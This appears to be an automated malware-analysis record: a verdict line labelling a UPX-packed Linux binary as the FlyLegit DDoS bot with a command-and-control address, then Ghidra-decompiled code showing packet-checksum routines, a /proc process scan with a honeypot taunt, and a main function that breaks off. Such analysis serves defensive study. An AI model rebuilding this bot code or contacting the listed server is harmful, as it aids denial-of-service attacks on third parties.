🔴 恶意 — UPX 3.94 | 签名: 无 | FlyLegit 家族 (DDoS Bot, C2: 82.25.63.213:7080)

(无 ASCII 回退)

/* Decompiled by Ghidra Headless */
/* Program: unpacked.elf */
/* Language: x86:LE:64:default */

/* Function: FUN_00400100 at 00400100 */

/* WARNING: Removing unreachable block (ram,0x00400136) */

void FUN_00400100(void)

{
  code *pcVar1;
  
  if (DAT_0051dfa0 == '\0') {
    while (pcVar1 = *(code **)PTR_DAT_00515308, pcVar1 != (code *)0x0) {
      PTR_DAT_00515308 = PTR_DAT_00515308 + 8;
      (*pcVar1)();
    }
    DAT_0051dfa0 = '\x01';
  }
  return;
}



/* Function: FUN_00400150 at 00400150 */

/* WARNING: Removing unreachable block (ram,0x0040015e) */
/* WARNING: Removing unreachable block (ram,0x00400181) */
/* WARNING: Globals starting with '_' overlap smaller symbols at the same address */

void FUN_00400150(void)

{
  return;
}



/* Function: entry at 00400194 */

void processEntry entry(undefined8 param_1,undefined8 param_2)

{
  undefined1 auStack_8 [8];
  
  FUN_0040a64e(FUN_004004a0,param_2,&stack0x00000008,&LAB_004000e8,&LAB_00412f56,param_1,auStack_8);
  do {
                    /* WARNING: Do nothing block with infinite loop */
  } while( true );
}



/* Function: FUN_004001c0 at 004001c0 */

uint FUN_004001c0(ushort *param_1,int param_2)

{
  ushort uVar1;
  uint uVar2;
  
  uVar2 = 0;
  for (; 1 < param_2; param_2 = param_2 + -2) {
    uVar1 = *param_1;
    param_1 = param_1 + 1;
    uVar2 = uVar2 + uVar1;
  }
  if (param_2 == 1) {
    uVar2 = uVar2 + (byte)*param_1;
  }
  uVar2 = (uVar2 >> 0x10) + (uVar2 & 0xffff);
  return ~(uVar2 + (uVar2 >> 0x10)) & 0xffff;
}



/* Function: FUN_00400200 at 00400200 */

uint FUN_00400200(ushort *param_1,ulong param_2,uint param_3,uint param_4,byte param_5)

{
  ushort uVar1;
  uint uVar2;
  
  uVar2 = (uint)(ushort)((ushort)param_2 >> 8 | (ushort)param_2 << 8) +
          (param_3 & 0xffff) + (param_3 >> 0x10) + (param_4 & 0xffff) + (param_4 >> 0x10) +
          (uint)param_5 * 0x100;
  for (; 1 < param_2; param_2 = param_2 - 2) {
    uVar1 = *param_1;
    param_1 = param_1 + 1;
    uVar2 = uVar2 + uVar1;
  }
  if (param_2 != 0) {
    uVar2 = uVar2 + (byte)*param_1;
  }
  uVar2 = (uVar2 >> 0x10) + (uVar2 & 0xffff);
  return ~(uVar2 + (uVar2 >> 0x10)) & 0xffff;
}



/* Function: FUN_004002a0 at 004002a0 */

void FUN_004002a0(void)

{
  byte bVar1;
  int iVar2;
  long lVar3;
  long lVar4;
  undefined1 auStack_168 [254];
  byte abStack_6a [74];
  
  iVar2 = FUN_00405f24("/proc",0);
  if (iVar2 != 0) {
    FUN_00407b24("Looks like you are a honeypot, this tool was made by t.me/flylegit!\n",1,0x44,
                 PTR_DAT_0051db30);
  }
  lVar3 = FUN_00406850("/proc");
  if (lVar3 != 0) {
    while (lVar4 = FUN_00406944(lVar3), lVar4 != 0) {
      if ((PTR_DAT_0051db00[(ulong)*(byte *)(lVar4 + 0x13) * 2] & 8) != 0) {
        FUN_004069d4(auStack_168,0x100,"/proc/%s/comm",lVar4 + 0x13);
        iVar2 = FUN_0040402d(auStack_168,0);
        if (iVar2 != -1) {
          lVar4 = FUN_00403e4f(iVar2,abStack_6a + 2,0x3f);
          if (0 < lVar4) {
            abStack_6a[lVar4 + 2] = 0;
            lVar4 = FUN_00407da8(abStack_6a + 2,&DAT_00412f94);
            abStack_6a[lVar4 + 2] = 0;
            if (lVar4 != 0) {
              bVar1 = PTR_DAT_0051db00[(ulong)abStack_6a[lVar4 + 1] * 2];
              while (((bVar1 & 0x20) != 0 && (abStack_6a[lVar4 + 1] = 0, lVar4 + -1 != 0))) {
                bVar1 = PTR_DAT_0051db00[(ulong)abStack_6a[lVar4] * 2];
                lVar4 = lVar4 + -1;
              }
            }
          }
          FUN_0040424a(iVar2);
        }
      }
    }
    FUN_004067dc(lVar3);
  }
  return;
}



/* Function: FUN_004003f0 at 004003f0 */

void FUN_004003f0(undefined8 param_1,undefined8 *param_2)

{
  undefined8 uVar1;
  int iVar2;
  undefined4 uVar3;
  int iVar4;
  int iVar5;
  int iVar6;
  undefined8 uVar7;
  long lVar8;
  undefined8 *puVar9;
  char *pcVar10;
  byte *pbVar11;
  byte *pbVar12;
  ulong uVar13;
  undefined8 *puVar14;
  char *pcVar15;
  byte *pbVar16;
  ulong unaff_R15;
  undefined1 uVar17;
  bool bVar18;
  bool bVar19;
  undefined1 uVar20;
  undefined1 auStack_1510 [4096];
  char acStack_510 [4];
  char cStack_50c;
  char cStack_50b;
  ulong uStack_310;
  undefined8 uStack_308;
  int iStack_300;
  undefined1 uStack_2fc;
  undefined2 uStack_2fa;
  undefined2 uStack_2f8;
  undefined2 uStack_2f6;
  ulong auStack_250 [16];
  undefined1 auStack_1d0 [128];
  char acStack_150 [8];
  undefined8 auStack_148 [6];
  undefined1 uStack_111;
  undefined1 auStack_110 [32];
  undefined1 auStack_f0 [32];
  byte abStack_d0 [32];
  undefined8 uStack_b0;
  undefined8 uStack_a8;
  undefined8 uStack_a0;
  undefined8 uStack_98;
  undefined8 uStack_90;
  undefined8 uStack_88;
  undefined1 auStack_80 [16];
  undefined1 auStack_70 [16];
  long lStack_60;
  undefined4 auStack_54 [3];
  
  puVar9 = param_2;
  FUN_00406718(0);
  FUN_00409b1c();
  FUN_004002a0();
  iVar2 = FUN_00402774();
  if (-1 < iVar2) {
    if (iVar2 != 0) goto LAB_00400496;
    iVar2 = FUN_0040666c();
    if (-1 < iVar2) {
      iVar2 = FUN_00402774();
      if (-1 < iVa
// ... (383 functions total, see full decompiled.c)

N/A